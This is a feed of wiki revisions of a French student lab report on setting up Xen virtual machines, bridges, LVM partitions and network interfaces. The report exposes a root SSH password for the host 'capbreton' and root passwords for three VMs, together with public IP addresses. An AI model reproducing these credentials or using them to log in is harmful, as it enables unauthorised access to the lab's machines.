&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse maxc on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11389</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11389"/>
		<updated>2026-01-26T09:46:13Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = ['mac=00:16:3E:8B:45:EC,bridge=pont_pacman', 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11379</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11379"/>
		<updated>2026-01-26T08:50:23Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 5 : Partition */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
